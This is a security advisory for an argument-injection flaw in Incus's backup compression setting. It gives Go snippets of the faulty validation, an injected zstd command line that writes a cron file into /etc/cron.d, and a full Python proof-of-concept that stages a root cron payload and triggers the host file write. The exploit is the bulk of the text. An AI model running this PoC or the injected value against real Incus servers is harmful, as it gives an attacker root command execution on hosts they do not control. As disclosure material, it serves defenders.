CVE-2026-48755: Incus has an argument injection in backup compression algorithm leading to AFW and ACE

Summary

Improper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to arbitrary command execution.

Details

Incus validates compressionalgorithm by parsing it into fields and checking only the first token against an allowlist:

go fields, err := shellquote.Split(value) ... if !slices.Contains([]string{"bzip2", "gzip", "lz4", "lzma", "pigz", "pzstd", "pxz", "tar2sqfs", "xz", "zstd"}, fields[0]) { return fmt.Errorf("Compression algorithm %q isn't currently supported", fields[0]) } , err = exec.LookPath(fields[0])

Extra arguments are not rejected. compressFile() then prepends -c and passes the remaining user-supplied fields to the compressor:

go args := []string{"-c"} if len(fields) > 1 { args = append(args, fields[1:]...) } cmd := exec.Command(fields[0], args...) cmd.Stdin = infile cmd.Stdout = outfile

With a value like:

text zstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload

the daemon executes the equivalent of:

text zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload

PoC

python3 poc.py \ --insecure --url https://remote-incus:8443 \ --cert ~/.config/incus/client.crt --key ~/.config/incus/client.key \ --instance c01 \ --execute --yes-i-understand-this-writes-host-file

The following was generated by an LLM model.

#!/usr/bin/env python3 """Short remote Incus backup compression zstd cron RCE PoC.

Dry-run is the default. --execute uploads a cron payload into an instance and then asks Incus for a direct backup with a zstd argument-injection compressor:

zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- <source>

The direct backup may fail after zstd runs; the host file write is the primitive. Use only on an authorized Incus server. """

from future import annotations

import argparse import json import os import shlex import sys import urllib.parse from pathlib import PurePosixPath from typing import Any

import requests

def q(value: str) -> str: return urllib.parse.quote(value, safe="")

def api(base: str, endpoint: str, params: str) -> str: return base.rstrip("/") + endpoint + ("?" + urllib.parse.urlencode(params) if params else "")

def projectinstance(project: str, instance: str) -> str: return instance if project == "default" else f"{project}{instance}"

def cleanguestpath(path: str) -> str: if not path.startswith("/"): raise ValueError("--guest-path must be absolute") if ".." in PurePosixPath(path).parts: raise ValueError("--guest-path must not contain '..'") return os.path.normpath("/" + path.lstrip("/")).lstrip("/")

def sourcepath(args: argparse.Namespace) -> str: if args.sourcehostpath: return args.sourcehostpath return os.path.join( args.incusdir, "storage-pools", args.pool, args.storagekind, projectinstance(args.project, args.instance), "rootfs", cleanguestpath(args.guestpath), )

def cron(command: str) -> bytes: return f" root /bin/sh -c {shlex.quote(command)}\n".encode()

def session(args: argparse.Namespace) -> requests.Session: s = requests.Session() s.verify = False if args.insecure else (args.cacert or True) if args.cert or args.key: s.cert = (args.cert, args.key) if args.token: s.headers["Authorization"] = "Bearer " + args.token s.headers["User-Agent"] = "incus-zstd-backup-rce-poc" if args.insecure: requests.packages.urllib3.disablewarnings() # type: ignore[attr-defined] return s

def check(resp: requests.Response, what: str) -> requests.Response: if resp.statuscode >= 400: try: detail: Any = resp.json() except Exception: detail = resp.text[:2048] raise RuntimeError(f"{what} failed: HTTP {resp.statuscode}: {detail}") return resp

def upload(s: requests.Session, args: argparse.Namespace, payload: bytes) -> None: url = api(args.url, f"/1.0/instances/{q(args.instance)}/files", project=args.project, path=args.guestpath) headers = { "Content-Type": "application/octet-stream", "X-Incus-type": "file", "X-Incus-write": "overwrite", "X-Incus-uid": "0", "X-Incus-gid": "0", "X-Incus-mode": "0644", } print(f"[] uploading cron payload to {args.instance}:{args.guestpath}") check(s.post(url, data=payload, headers=headers, timeout=args.timeout), "payload upload")

def triggerbackup(s: requests.Session, args: argparse.Namespace, body: dict[str, Any]) -> None: url = api(args.url, f"/1.0/instances/{q(args.instance)}/backups", project=args.project) print("[] sending direct backup request") resp = s.post( url, data=json.dumps(body).encode(), headers={"Accept": "application/octet-stream", "Content-Type": "application/json"}, timeout=args.timeout, stream=True, ) print(f"[] backup HTTP {resp.statuscode}") resp.close() if resp.statuscode >= 400: print("[] HTTP error after compressor launch is possible; check whether the cron file was written")

def parseargs() -> argparse.Namespace: p = argparse.ArgumentParser(description="Remote Incus zstd backup-compression cron RCE PoC") p.addargument("--url", required=True, help="https://host:8443") p.addargument("--cert", help="client certificate PEM") p.addargument("--key", help="client private key PEM") p.addargument("--cacert", help="CA certificate PEM") p.addargument("--token", help="bearer token") p.addargument("--insecure", action="storetrue", help="disable TLS verification") p.addargument("--timeout", type=int, default=180)

p.addargument("--project", default="default") p.addargument("--instance", required=True) p.addargument("--pool", default="default") p.addargument("--storage-kind", choices=["containers", "virtual-machines"], default="containers") p.addargument("--incus-dir", default="/var/lib/incus") p.addargument("--guest-path", default="/incus-zstd-cron") p.addargument("--source-host-path", help="override daemon-readable host path for the staged payload") p.addargument("--cron-path", default="/etc/cron.d/incus-zstd-rce") p.addargument("--command", default="date >/incus-zstd-rce; id >>/incus-zstd-rce")

p.addargument("--execute", action="storetrue", help="stage payload and send backup request") p.addargument("--yes-i-understand-this-writes-host-file", action="storetrue", help="required with --execute") args = p.parseargs()

if urllib.parse.urlparse(args.url).scheme != "https": p.error("--url must use https") if bool(args.cert) != bool(args.key): p.error("--cert and --key must be supplied together") if args.execute and not args.yesiunderstandthiswriteshostfile: p.error("--execute requires --yes-i-understand-this-writes-host-file") try: cleanguestpath(args.guestpath) except ValueError as exc: p.error(str(exc))

args.url = args.url.rstrip("/") return args

def main() -> int: args = parseargs() src = sourcepath(args) payload = cron(args.command) compressor = f"zstd -d -f --pass-through -o {shlex.quote(args.cronpath)} -- {shlex.quote(src)}" body = {"compressionalgorithm": compressor, "instanceonly": True}

print("[] target:", args.url) print("[] project:", args.project) print("[] instance:", args.instance) print("[] source host path:", src) print("[] cron path:", args.cronpath) print("[] payload:", payload.decode().rstrip()) print("[] backup body:", json.dumps(body, sortkeys=True))

if not args.execute: print("[] dry run only; add --execute and the confirmation flag to act") return 0

s = session(args) upload(s, args, payload) triggerbackup(s, args, body) return 0

if name == "main": try: raise SystemExit(main()) except BrokenPipeError: raise SystemExit(1) except Exception as exc: print(f"[-] {exc}", file=sys.stderr) raise SystemExit(1)

Impact

Improperly validated compression algorithm argument leads to argument injection leading to arbitrary file write with zstd and possibly arbitrary command execution.